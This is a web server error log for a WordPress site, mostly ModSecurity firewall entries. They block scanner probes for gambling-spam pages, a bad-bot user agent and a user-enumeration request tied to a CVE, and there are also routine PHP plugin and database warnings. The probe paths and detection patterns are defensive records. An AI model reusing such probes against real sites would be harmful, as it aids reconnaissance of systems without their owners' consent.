[Tue Feb 10 10:52:42.707748 2026] [:error] [pid 47937:tid 47951] [client 51.222.105.197:57820] [client 51.222.105.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "aYqdespqXpC2CvJ3fOMFFgAAAMw"]
[Tue Feb 10 10:52:45.160255 2026] [:error] [pid 30054:tid 30064] [client 51.222.105.197:57842] [client 51.222.105.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "aYqdfWecgOOXCu-GgYW0xwAAAQg"]
[Tue Feb 10 10:52:45.167240 2026] [:error] [pid 59544:tid 59567] [client 51.222.105.197:57832] [client 51.222.105.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20free.aspx"] [unique_id "aYqdfaZySR9mFY4BaillEwAAAZE"]
[Tue Feb 10 10:52:47.494544 2026] [:error] [pid 47830:tid 47855] [client 51.222.105.197:57874] [client 51.222.105.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aYqdf0co45BZs8e301CxcwAAAAk"]
[Tue Feb 10 10:52:47.934887 2026] [:error] [pid 47830:tid 47862] [client 51.222.105.197:57880] [client 51.222.105.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "aYqdf0co45BZs8e301CxdAAAABA"]
[Tue Feb 10 10:52:50.039180 2026] [:error] [pid 47830:tid 47863] [client 51.222.105.197:57894] [client 51.222.105.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "aYqdgkco45BZs8e301CxeQAAABE"]
[Tue Feb 10 10:52:52.605923 2026] [:error] [pid 30054:tid 30056] [client 51.222.105.197:34246] [client 51.222.105.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "aYqdhGecgOOXCu-GgYW0zAAAAQA"]
[Tue Feb 10 10:52:52.774195 2026] [:error] [pid 7704:tid 7713] [client 51.222.105.197:34260] [client 51.222.105.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "aYqdhP0EcqgVBUs6CW2XkgAAAcY"]
[Tue Feb 10 10:52:55.192106 2026] [:error] [pid 47830:tid 47859] [client 51.222.105.197:34290] [client 51.222.105.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "aYqdh0co45BZs8e301CxhgAAAA0"]
[Tue Feb 10 10:52:55.776355 2026] [:error] [pid 30054:tid 30071] [client 51.222.105.197:34298] [client 51.222.105.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aYqdh2ecgOOXCu-GgYW00wAAAQ8"]
[Tue Feb 10 10:52:57.700929 2026] [:error] [pid 59407:tid 59422] [client 51.222.105.197:34310] [client 51.222.105.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spg%20slot.aspx"] [unique_id "aYqdiWLlhBXE3qmX-JmWbwAAAU0"]
[Tue Feb 10 10:52:58.214262 2026] [:error] [pid 30054:tid 30079] [client 51.222.105.197:34326] [client 51.222.105.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "aYqdimecgOOXCu-GgYW08wAAARc"]
[Tue Feb 10 10:53:00.370588 2026] [:error] [pid 47937:tid 47951] [client 51.222.105.197:55150] [client 51.222.105.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "aYqdjMpqXpC2CvJ3fOMFLwAAAMw"]
[Tue Feb 10 10:53:00.785924 2026] [:error] [pid 47937:tid 47962] [client 51.222.105.197:55160] [client 51.222.105.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "aYqdjMpqXpC2CvJ3fOMFMQAAANc"]
[Tue Feb 10 10:53:02.860434 2026] [:error] [pid 47830:tid 47857] [client 51.222.105.197:55182] [client 51.222.105.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20168.aspx"] [unique_id "aYqdjkco45BZs8e301CxjwAAAAs"]
[Tue Feb 10 10:53:03.372000 2026] [:error] [pid 47937:tid 47944] [client 51.222.105.197:55196] [client 51.222.105.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "aYqdj8pqXpC2CvJ3fOMFNAAAAMU"]
[Tue Feb 10 10:53:05.293634 2026] [:error] [pid 47831:tid 47892] [client 51.222.105.197:55218] [client 51.222.105.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "aYqdkSdxbZYarWVkiAC4sgAAAFM"]
[Tue Feb 10 10:53:07.775164 2026] [:error] [pid 47830:tid 47845] [client 51.222.105.197:55234] [client 51.222.105.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "aYqdk0co45BZs8e301Cx1AAAAAA"]
[Tue Feb 10 10:53:10.288696 2026] [:error] [pid 30054:tid 30077] [client 51.222.105.197:48090] [client 51.222.105.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "aYqdlmecgOOXCu-GgYW0-QAAARU"]
[Tue Feb 10 10:53:12.965832 2026] [:error] [pid 47831:tid 47895] [client 51.222.105.197:48122] [client 51.222.105.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "aYqdmCdxbZYarWVkiAC4uQAAAFY"]
[Tue Feb 10 10:53:13.176266 2026] [:error] [pid 59407:tid 59411] [client 51.222.105.197:48108] [client 51.222.105.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spg%20slot.aspx"] [unique_id "aYqdmWLlhBXE3qmX-JmWhgAAAUI"]
[Tue Feb 10 10:53:15.454178 2026] [:error] [pid 47830:tid 47861] [client 51.222.105.197:48150] [client 51.222.105.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w69%20slot.aspx"] [unique_id "aYqdm0co45BZs8e301CyCgAAAA8"]
[Tue Feb 10 10:53:16.649864 2026] [:error] [pid 47937:tid 47951] [client 51.222.105.197:48156] [client 51.222.105.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "aYqdnMpqXpC2CvJ3fOMFQwAAAMw"]
[Tue Feb 10 10:53:18.004607 2026] [:error] [pid 47830:tid 47869] [client 51.222.105.197:48172] [client 51.222.105.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "aYqdnkco45BZs8e301CyFwAAABc"]
[Tue Feb 10 10:53:19.267328 2026] [:error] [pid 7704:tid 7724] [client 51.222.105.197:48178] [client 51.222.105.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20168.aspx"] [unique_id "aYqdn_0EcqgVBUs6CW2XsQAAAdE"]
[Tue Feb 10 10:53:21.591679 2026] [:error] [pid 47837:tid 47910] [client 51.222.105.197:57472] [client 51.222.105.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "aYqdoXFY8KYFPX79Z4lPOwAAAIo"]
[Tue Feb 10 10:53:24.117604 2026] [:error] [pid 47837:tid 47920] [client 51.222.105.197:57506] [client 51.222.105.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "aYqdpHFY8KYFPX79Z4lPPgAAAJQ"]
[Tue Feb 10 10:54:06.694742 2026] [proxy_fcgi:error] [pid 47937:tid 47951] [client 169.150.218.23:30257] AH01071: Got error 'PHP message: WordPress database error The total number of locks exceeds the lock table size for query UPDATE `wp_options` SET `option_value` = 'O:8:\\"stdClass\\":5:{s:12:\\"last_checked\\";i:1770731638;s:8:\\"response\\";a:1:{s:24:\\"wordpress-seo/wp-seo.php\\";O:8:\\"stdClass\\":13:{s:2:\\"id\\";s:27:\\"w.org/plugins/wordpress-seo\\";s:4:\\"slug\\";s:13:\\"wordpress-seo\\";s:6:\\"plugin\\";s:24:\\"wordpress-seo/wp-seo.php\\";s:11:\\"new_version\\";s:4:\\"26.9\\";s:3:\\"url\\";s:44:\\"https://wordpress.org/plugins/wordpress-seo/\\";s:7:\\"package\\";s:61:\\"https://downloads.wordpress.org/plugin/wordpress-seo.26.9.zip\\";s:5:\\"icons\\";a:2:{s:2:\\"2x\\";s:66:\\"https://ps.w.org/wordpress-seo/assets/icon-256x256.gif?rev=3419908\\";s:2:\\"1x\\";s:66:\\"https://ps.w.org/wordpress-seo/assets/icon-128x128.gif?rev=3419908\\";}s:7:\\"banners\\";a:2:{s:2:\\"2x\\";s:69:\\"https://ps.w.org/wordpress-seo/assets/banner-1544x500.png?rev=3257862\\";s:2:\\"1x\\";s:68:\\"https://ps.w.org/wordpress-seo/assets/banner-772x250.png?rev=3257862\\";}s:11:\\"banners_rtl\\";...', referer: https://vetstars.com.au/wp-admin/plugins.php
[Tue Feb 10 10:54:41.088906 2026] [proxy_fcgi:error] [pid 59544:tid 59550] [client 169.150.218.23:61609] AH01071: Got error 'PHP message: PHP Warning:  include_once(/home/vetstars/public_html/wp-content/plugins/wp-fastest-cache-premium/pro/library/mobile-cache.php): failed to open stream: No such file or directory in /home/vetstars/public_html/wp-content/plugins/wp-fastest-cache/wpFastestCache.php on line 247PHP message: PHP Warning:  include_once(): Failed opening '/home/vetstars/public_html/wp-content/plugins/wp-fastest-cache-premium/pro/library/mobile-cache.php' for inclusion (include_path='.:') in /home/vetstars/public_html/wp-content/plugins/wp-fastest-cache/wpFastestCache.php on line 247', referer: https://vetstars.com.au/wp-admin/plugins.php
[Tue Feb 10 10:55:01.795464 2026] [proxy_fcgi:error] [pid 59407:tid 59411] [client 169.150.218.23:8266] AH01071: Got error 'PHP message: PHP Warning:  include_once(/home/vetstars/public_html/wp-content/plugins/wp-fastest-cache-premium/pro/library/mobile-cache.php): failed to open stream: No such file or directory in /home/vetstars/public_html/wp-content/plugins/wp-fastest-cache/wpFastestCache.php on line 247PHP message: PHP Warning:  include_once(): Failed opening '/home/vetstars/public_html/wp-content/plugins/wp-fastest-cache-premium/pro/library/mobile-cache.php' for inclusion (include_path='.:') in /home/vetstars/public_html/wp-content/plugins/wp-fastest-cache/wpFastestCache.php on line 247PHP message: PHP Warning:  include_once(/home/vetstars/public_html/wp-content/plugins/wp-fastest-cache-premium/pro/library/powerful-html.php): failed to open stream: No such file or directory in /home/vetstars/public_html/wp-content/plugins/wp-fastest-cache/wpFastestCache.php on line 254PHP message: PHP Warning:  include_once(): Failed opening '/home/vetstars/public_html/wp-content/plugins/wp-fastest-cache-premium/pro/library/powerful-html.php' for inclusion (include_path='.:') in /home/vetstars/public_html/wp-content/plugins/wp-fastest-cache/wpFastestCache.php on line 254'
[Tue Feb 10 10:55:10.526625 2026] [proxy_fcgi:error] [pid 59544:tid 59569] [client 149.22.88.142:52021] AH01071: Got error 'PHP message: PHP Warning:  include_once(/home/vetstars/public_html/wp-content/plugins/wp-fastest-cache-premium/pro/library/mobile-cache.php): failed to open stream: No such file or directory in /home/vetstars/public_html/wp-content/plugins/wp-fastest-cache/wpFastestCache.php on line 247PHP message: PHP Warning:  include_once(): Failed opening '/home/vetstars/public_html/wp-content/plugins/wp-fastest-cache-premium/pro/library/mobile-cache.php' for inclusion (include_path='.:') in /home/vetstars/public_html/wp-content/plugins/wp-fastest-cache/wpFastestCache.php on line 247PHP message: PHP Warning:  include_once(/home/vetstars/public_html/wp-content/plugins/wp-fastest-cache-premium/pro/library/powerful-html.php): failed to open stream: No such file or directory in /home/vetstars/public_html/wp-content/plugins/wp-fastest-cache/wpFastestCache.php on line 254PHP message: PHP Warning:  include_once(): Failed opening '/home/vetstars/public_html/wp-content/plugins/wp-fastest-cache-premium/pro/library/powerful-html.php' for inclusion (include_path='.:') in /home/vetstars/public_html/wp-content/plugins/wp-fastest-cache/wpFastestCache.php on line 254'
[Tue Feb 10 10:55:14.567876 2026] [proxy_fcgi:error] [pid 47937:tid 47946] [client 149.22.88.142:10590] AH01071: Got error 'PHP message: PHP Warning:  include_once(/home/vetstars/public_html/wp-content/plugins/wp-fastest-cache-premium/pro/library/mobile-cache.php): failed to open stream: No such file or directory in /home/vetstars/public_html/wp-content/plugins/wp-fastest-cache/wpFastestCache.php on line 247PHP message: PHP Warning:  include_once(): Failed opening '/home/vetstars/public_html/wp-content/plugins/wp-fastest-cache-premium/pro/library/mobile-cache.php' for inclusion (include_path='.:') in /home/vetstars/public_html/wp-content/plugins/wp-fastest-cache/wpFastestCache.php on line 247PHP message: PHP Warning:  include_once(/home/vetstars/public_html/wp-content/plugins/wp-fastest-cache-premium/pro/library/powerful-html.php): failed to open stream: No such file or directory in /home/vetstars/public_html/wp-content/plugins/wp-fastest-cache/wpFastestCache.php on line 254PHP message: PHP Warning:  include_once(): Failed opening '/home/vetstars/public_html/wp-content/plugins/wp-fastest-cache-premium/pro/library/powerful-html.php' for inclusion (include_path='.:') in /home/vetstars/public_html/wp-content/plugins/wp-fastest-cache/wpFastestCache.php on line 254'
[Tue Feb 10 10:55:41.731363 2026] [proxy_fcgi:error] [pid 47937:tid 47959] [client 149.22.88.142:45275] AH01071: Got error 'PHP message: PHP Warning:  include_once(/home/vetstars/public_html/wp-content/plugins/wp-fastest-cache-premium/pro/library/mobile-cache.php): failed to open stream: No such file or directory in /home/vetstars/public_html/wp-content/plugins/wp-fastest-cache/wpFastestCache.php on line 247PHP message: PHP Warning:  include_once(): Failed opening '/home/vetstars/public_html/wp-content/plugins/wp-fastest-cache-premium/pro/library/mobile-cache.php' for inclusion (include_path='.:') in /home/vetstars/public_html/wp-content/plugins/wp-fastest-cache/wpFastestCache.php on line 247', referer: https://vetstars.com.au/wp-admin/plugins.php
[Tue Feb 10 10:56:29.280634 2026] [proxy_fcgi:error] [pid 59544:tid 59553] [client 149.22.88.142:26844] AH01071: Got error 'PHP message: WordPress database error The total number of locks exceeds the lock table size for query UPDATE `wp_options` SET `option_value` = 'a:5:{s:6:\\"update\\";i:1770679478;s:4:\\"feed\\";a:2:{i:0;a:7:{s:5:\\"title\\";s:32:\\"New: Launch Google Ads Campaigns\\";s:7:\\"content\\";s:368:\\"Ready to supercharge your marketing? Our new Google Ads app makes it easy to create, launch, and manage campaigns directly from your WordPress dashboard. Reach customers searching for what you offer across Google including Search, Gmail, YouTube and more. Best part? You\\'ll automatically be eligible to receive a $500 Google Ads credit when you spend your first $500. \\";s:4:\\"type\\";a:1:{i:0;s:3:\\"pro\\";}s:2:\\"id\\";i:272;s:4:\\"btns\\";a:2:{s:4:\\"main\\";a:2:{s:3:\\"url\\";s:171:\\"https://www.monsterinsights.com/new-google-ads-creation-right-from-your-monsterinsights-dashboard/?utm_campaign=notifications&utm_source=proplugin&utm_medium=notifications\\";s:4:\\"text\\";s:10:\\"Learn More\\";}s:3:\\"alt\\";a:2:{s:3:\\"url\\";s:61:\\"/wp-...', referer: https://vetstars.com.au/wp-admin/plugins.php
[Tue Feb 10 11:05:53.174351 2026] [:error] [pid 47837:tid 47921] [client 149.22.88.142:39107] [client 149.22.88.142] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 149.22.88.142, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aYqgkXFY8KYFPX79Z4lSkAAAAJU"], referer: https://vetstars.com.au/wp-admin/admin.php?page=simple_history_admin_menu_page&date=lastdays:30
[Tue Feb 10 11:05:55.632511 2026] [:error] [pid 47837:tid 47905] [client 149.22.88.142:39107] [client 149.22.88.142] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 149.22.88.142, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aYqgk3FY8KYFPX79Z4lSlAAAAIU"], referer: https://vetstars.com.au/wp-admin/admin.php?page=simple_history_admin_menu_page&date=lastdays:30
[Tue Feb 10 11:06:04.546775 2026] [:error] [pid 47837:tid 47903] [client 149.22.88.142:39107] [client 149.22.88.142] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 149.22.88.142, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aYqgnHFY8KYFPX79Z4lSpAAAAIM"], referer: https://vetstars.com.au/wp-login.php?loggedout=true&wp_lang=en_US
[Tue Feb 10 11:14:00.562821 2026] [:error] [pid 47937:tid 47954] [client 146.70.230.101:24399] [client 146.70.230.101] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 146.70.230.101, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aYqieMpqXpC2CvJ3fOMMrwAAAM8"], referer: https://vetstars.com.au/wp-admin/admin.php?page=simple_history_admin_menu_page&date=lastdays:30
[Tue Feb 10 11:14:03.200701 2026] [:error] [pid 47937:tid 47953] [client 146.70.230.101:24399] [client 146.70.230.101] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 146.70.230.101, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aYqie8pqXpC2CvJ3fOMMsQAAAM4"], referer: https://vetstars.com.au/wp-admin/admin.php?page=simple_history_admin_menu_page&date=lastdays:30
[Tue Feb 10 16:01:06.916927 2026] [:error] [pid 47937:tid 47955] [client 104.28.161.187:29576] [client 104.28.161.187] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/style.php"] [unique_id "aYrlwspqXpC2CvJ3fONrtQAAANA"]
[Tue Feb 10 16:33:34.975200 2026] [:error] [pid 47831:tid 47876] [client 43.131.26.226:40850] [client 43.131.26.226] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aYrtXidxbZYarWVkiAAlUwAAAEM"]
[Tue Feb 10 19:32:39.516412 2026] [:error] [pid 47831:tid 47887] [client 43.133.187.11:49972] [client 43.133.187.11] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aYsXVydxbZYarWVkiABqfQAAAE4"]
[Tue Feb 10 23:28:58.260947 2026] [:error] [pid 59407:tid 59429] [client 49.51.195.195:41894] [client 49.51.195.195] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aYtOumLlhBXE3qmX-JlG1gAAAVQ"]
[Wed Feb 11 02:39:23.376327 2026] [:error] [pid 14804:tid 14954] [client 35.226.67.31:51479] [client 35.226.67.31] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.226.67.31, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aYt7W4L4gbfzj8YFRVpG4gAAAYo"]
[Wed Feb 11 02:39:26.170018 2026] [:error] [pid 14804:tid 14948] [client 35.226.67.31:51479] [client 35.226.67.31] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aYt7XoL4gbfzj8YFRVpG5wAAAYQ"]
[Wed Feb 11 02:39:28.463037 2026] [:error] [pid 14804:tid 14944] [client 35.226.67.31:51479] [client 35.226.67.31] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.226.67.31, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aYt7YIL4gbfzj8YFRVpG6gAAAYA"]
